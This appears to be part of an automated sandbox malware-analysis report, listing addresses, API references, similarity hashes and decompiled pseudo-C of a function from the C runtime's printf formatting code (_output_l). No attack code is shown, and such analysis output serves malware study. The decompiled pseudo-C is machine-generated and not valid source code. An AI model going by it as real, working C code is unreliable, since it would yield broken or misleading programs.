0x00434d03
0x00434d05
0x00434d08
0x00434d08
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x004350db
0x004350db
0x004350f1
0x004350f1
0x004350fb
0x004350fb
0x00435101
0x00435103
0x0043510d
0x0043510d
0x00435110
0x00435113
0x00435113
0x00000000
0x00000000
0x00434c65
0x00434c65
0x00434c71
0x00434c77
0x00434c7e
0x00434c8c
0x00434c8c
0x00434c92
0x00434c95
0x00434ca1
0x00434cf6
0x00000000
0x00434cf6
0x00434c80
0x00434c80
0x00434c86
0x00434c8a
0x00434ca6
0x00434ca9
0x00434ca9
0x00434caf
0x00434cd7
0x00434cde
0x00434ce4
0x00434ce7
0x00434cea
0x00434cf0
0x00434cf3
0x00434cb1
0x00434cb1
0x00434cb7
0x00434cba
0x00434cbd
0x00434cc3
0x00434cc6
0x00434cc9
0x00434ccb
0x00434cce
0x00434cce
0x00000000
0x00434caf
0x00000000
0x00000000
0x00434f25
0x00434f28
0x00434f2b
0x00434f2e
0x00434f34
0x00434f37
0x00434f3e
0x00434f42
0x00434f4d
0x00434f4d
0x00434f51
0x00434f68
0x00434f68
0x00434f6f
0x00434f71
0x00434f71
0x00434f78
0x00434f78
0x00434f7f
0x00434f90
0x00434f9f
0x00434fa2
0x00434fa6
0x00434fbc
0x00434fa8
0x00434fa8
0x00434fab
0x00434fb1
0x00434fb7
0x00434fb7
0x00434fa6
0x00434fc6
0x00434fc9
0x00434fcc
0x00434fcf
0x00434fd2
0x00434fd5
0x00434fdb
0x00434fe1
0x00434fe9
0x00434fea
0x00434fed
0x00434fee
0x00434ff1
0x00434ff2
0x00434ff9
0x00434ffa
0x00434ffd
0x00434ffe
0x00435001
0x00435002
0x00435008
0x00435009
0x00435017
0x00435019
0x0043501f
0x0043501f
0x00435025
0x00435027
0x0043502b
0x0043502d
0x00435035
0x00435036
0x00435039
0x0043503a
0x00435048
0x0043504a
0x0043504a
0x0043502b
0x0043504d
0x00435054
0x00435057
0x0043505c
0x0043505c
0x00435062
0x00435064
0x0043506c
0x0043506d
0x00435070
0x00435071
0x00435080
0x00435082
0x00435082
0x00435062
0x00435085
0x00435088
0x0043508b
0x0043508e
0x00435093
0x00435099
0x0043509c
0x0043509f
0x0043509f
0x004350a2
0x004350a2
0x004350a5
0x004350b1
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x004353c2
0x00434f53
0x00434f53
0x00434f5a
0x00434f5d
0x00000000
0x00000000
0x00434f5f
0x00434f5f
0x00000000
0x00434f5f
0x00434f44
0x00434f44
0x00000000
0x00000000
0x00434bd1
0x00434bd4
0x00434bd4
0x00434bda
0x00434c35
0x00434c3d
0x00434c44
0x00434c4a
0x00434c50
0x00434bdc
0x00434bdc
0x00434be6
0x00434bea
0x00434bf2
0x00434bf9
0x00434c06
0x00434c0d
0x00434c19
0x00434c1f
0x00434c26
0x00434c28
0x00434c28
0x00434c2f
0x00434c57
0x00434c5d
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x004350b9
0x004350bc
0x004350bf
0x004350c2
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00000000
0x00000000
0x00000000
0x00434e17
0x00434e17
0x00434e23
0x00434e29
0x00434e2e
0x00434e30
0x00434eda
0x00434edd
0x00434edd
0x00434ee0
0x00434ef4
0x00434efa
0x00434f00
0x00434ee2
0x00434ee2
0x00434eef
0x00434eef
0x00434f02
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00434e36
0x00434e36
0x00434e36
0x00434e38
0x00434e46
0x00434e3a
0x00434e3a
0x00434e3a
0x00434e50
0x00434e56
0x00434e5c
0x00434e63
0x00434e65
0x00434e6a
0x00434e6c
0x00434e71
0x00434e76
0x00434e78
0x00434e7d
0x00434e80
0x00434e83
0x00434e85
0x00434e85
0x00434e83
0x00434e86
0x00434e8d
0x00434ed5
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00434e8f
0x00434e8f
0x00434e94
0x00434eb0
0x00434eb8
0x00434ec2
0x00434ec5
0x00434eca
0x00000000
0x00434eca
0x00000000
0x0043511c
0x0043511c
0x00435126
0x00435126
0x0043512c
0x0043512e
0x00435131
0x00435131
0x00435137
0x00435137
0x0043513a
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00000000
0x00000000
0x00000000
0x00435216
0x00000000
0x004350d4
0x004350d4
0x00000000
0x00000000
0x00434d11
0x00434d11
0x00434d15
0x00434d23
0x00434d26
0x00434d17
0x00434d17
0x00434d17
0x00434d2c
0x00434d32
0x00434d38
0x00434d44
0x00434d4a
0x00434d4a
0x00434d50
0x00434db7
0x00434db7
0x00434dbb
0x00434dbd
0x00434dc3
0x00434dc3
0x00434dc6
0x00434dc9
0x00434dcf
0x00434dcf
0x00434dcf
0x00434ddb
0x00434dde
0x00434de4
0x00434de6
0x00000000
0x00000000
0x00434de8
0x00434de8
0x00434dee
0x00434df1
0x00434df3
0x00000000
0x00000000
0x00434df5
0x00434dfb
0x00434dfe
0x00434dfe
0x00434e06
0x00434e06
0x00434e0c
0x00434e0c
0x00434e0f
0x00000000
0x00434d52
0x00434d52
0x00434d52
0x00434d56
0x00434d58
0x00434d5d
0x00434d5d
0x00434d60
0x00434d67
0x00434d6a
0x00434d70
0x00434d70
0x00434d70
0x00434d7c
0x00434d7f
0x00434d85
0x00434d87
0x00000000
0x00000000
0x00434d89
0x00434d89
0x00434d8f
0x00434d92
0x00434d94
0x00000000
0x00000000
0x00434d96
0x00434d9c
0x00434d9f
0x00434d9f
0x00434da7
0x00434dad
0x00434db0
0x00434db2
0x00434e12
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00000000
0x004350cb
0x004350cb
0x0043513a
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00000000
0x00000000
0x00000000
0x00435216
0x00000000
0x00000000
0x00000000
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x00000000
0x00434981
0x00434984
0x00434987
0x00000000
0x00000000
0x0043498c
0x0043498f
0x00434994
0x00000000
0x00000000
0x00434976
0x00434976
0x00434979
0x0043497c
0x00000000
0x00000000
0x0043496b
0x0043496e
0x00434971
0x00000000
0x00000000
0x00434999
0x00434999
0x0043499c
0x0043499c
0x0043499f
0x00000000
0x00000000
0x004349a2
0x00000000
0x00000000
0x0043473e
0x00434740
0x0043474e
0x00434742
0x00434742
0x00434742
0x00434758
0x0043475e
0x0043476b
0x0043476d
0x00434772
0x00434774
0x00434779
0x0043477e
0x00434780
0x00434785
0x0043478b
0x0043478d
0x0043478d
0x0043478b
0x0043478e
0x00434795
0x00000000
0x00434797
0x0043479c
0x004347b8
0x004347c0
0x004347cd
0x004347d2
0x00435691
0x0043569e
0x0043569e
0x00434795
0x00434738
0x004355cd
0x004355cd
0x004355d4
0x004355eb
0x004355eb
0x004355f5
0x004355f5
0x004355fb
0x00435601
0x00435608
0x0043560a
0x0043560f
0x00435611
0x00435616
0x0043561b
0x0043561d
0x00435622
0x00435625
0x00435628
0x0043562a
0x0043562a
0x00435628
0x0043562b
0x00435632
0x0043567d
0x00435686
0x0043568b
0x00435634
0x00435639
0x00435655
0x0043565d
0x0043566a
0x0043566f
0x0043566f
0x00000000
0x00435632
0x004355d6
0x004355d6
0x004355dd
0x00000000
0x00000000
0x004355df
0x004355df
0x00000000
0x004355df
0x004353c2
0x00435399
0x00435399
0x0043539d
0x004353aa
0x004353ad
0x004353b0
0x004353b3
0x004353b6
0x004353b9
0x004353bc
0x004353bc
0x004353bf
0x00000000
0x004353bf
0x0043539f
0x0043539f
0x004353a2
0x004353a5
0x004353a8
0x00000000
0x00000000
0x00000000
0x004353a8
0x00435301
0x00435301
0x00435304
0x00435307
0x0043530e
0x00435315
0x0043531d
0x00435323
0x00435326
0x00435329
0x00435330
0x0043533c
0x00435342
0x00435348
0x0043534f
0x00435351
0x00435357
0x00435357
0x0043535d
0x0043535d
0x00435363
0x00435366
0x0043536c
0x00435371
0x00435374
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x00000000
0x004352f1
0x004352e3
0x00435223
0x00435223
0x0043522a
0x00000000
0x00000000
0x00000000
0x00435258
0x00435258
0x0043525e
0x00435264
0x0043526a
0x00000000
0x0043526a
0x0043513a
0x004350f1

APIs

_get_int64_arg.LIBCMTD ref: 00435148
__aullrem.LIBCMT ref: 00435315
__aulldiv.LIBCMT ref: 00435337

Strings

0, xrefs: 00435103
', xrefs: 004350E7
9, xrefs: 00435348

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction ID: 46aec282baef78b37228b70694925ac0c27f95b3921b1c3b01005677c4262b5e
Opcode Fuzzy Hash: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction Fuzzy Hash: 04410471D05629DFEF24CF88C889BAEB7B5BB48304F2495DAD408A7240C7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00427D18, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427D18() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E004283D0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00428410( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004283D0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00428410(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E00434360(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E00428410( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E004283D0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C510( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404430) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404450) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M00428228))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E00431350( *(_t524 - 0x251) & 0x000000ff, E0041AE20(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E00428330( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E00428330( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E350();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00422E40(_t509))) = 0x16;
																	E00422BD0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041ADF0(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x428260; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428248))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
															}
														case 3:
															L25:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t87 = __ecx - 0x30; // -48
																__edx = __eax + _t87;
																 *(__ebp - 0x18) = __eax + _t87;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															L30:
															goto L209;
														case 4:
															L31:
															 *(__ebp - 0x30) = 0;
															goto L209;
														case 5:
															L32:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t98;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
